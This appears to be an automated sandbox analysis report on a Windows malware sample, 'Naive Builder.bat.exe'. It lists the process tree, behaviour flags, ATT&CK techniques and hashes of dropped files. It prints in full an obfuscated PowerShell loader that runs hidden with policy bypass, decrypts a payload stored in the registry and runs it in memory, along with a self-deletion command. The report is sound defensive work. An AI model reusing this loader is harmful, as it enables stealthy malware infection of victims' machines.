C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2172).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:4996 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1788
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C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3748
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C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4672
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C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe"5⤵
- Views/modifies file attributes
PID:2016
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3380
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3724
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:3772
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3864
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4156
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5348
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2920
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:960
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:5276
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4044
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4352
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1996
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2608
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
Hide Artifacts
2Hidden Files and Directories
1Hidden Window
1Indicator Removal
1Clear Windows Event Logs
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 61KB
- SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
- MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
- SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
- SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
- SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
- TLSH T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe
- Size 440KB
- SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
- MD5 0e9ccd796e251916133392539572a374
- SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
- SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
- SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
- TLSH T191A45A876B9412D1EC3EC035D82744520721BCBED791A7EF99D8F2390E712D0993EA6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_huxv1xpu.2km.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\ucrtbased.dll
- Size 1.8MB
- SHA256 203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
- MD5 7873612dddd9152d70d892427bc45ef0
- SHA1 ab9079a43a784471ca31c4f0a34b698d99334dfa
- SHA512 d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083
- SSDEEP 24576:p0j0QJnTXZLW3r6wq6m1kPDk2S+jU4MtOvpzlnEjD4xtT/T4mivSZXXyYR2kwQwt:mj0QJhoqlkgCjplEjD4DVM
- TLSH T12685D706F6F710E1F5BAD239A562312AFC3538A5473896E797D45A0E0B30BE4A93E740
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\vcruntime140_1d.dll
- Size 52KB
- SHA256 8caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a
- MD5 9ef28981adcbf4360de5f11b8f4ecff9
- SHA1 219aaa1a617b1dfa36f3928bd1020e410666134f
- SHA512 ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c
- SSDEEP 768:hLq1pDi843Csb7PjWGPB8SkHMyGEvAicWF//dj9z:x2IvWy8pszEIdWZz
- TLSH T1AB33D747EBB950D2D4BAC1349293BB2EFD71B0A1833097C75751DA0A1F61BE4AA3E344
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\vcruntime140d.dll
- Size 162KB
- SHA256 7ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6
- MD5 a366d6623c14c377c682d6b5451575e6
- SHA1 a8894fcfb3aa06ad073b1f581b2e749b54827971
- SHA512 cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11
- SSDEEP 3072:/bKiaqu/TMfyJVm7r0QVTIlxWJxecbNjWKw3t:/0Tmy7m7rXF6xWDecbNSXt
- TLSH T18CF39347FBA650F1D8BAC138C993322AF9B13195C33097DB97915A274B51BE4EA3D380
- MD5 SHA1 SHA512 SSDEEP TLSH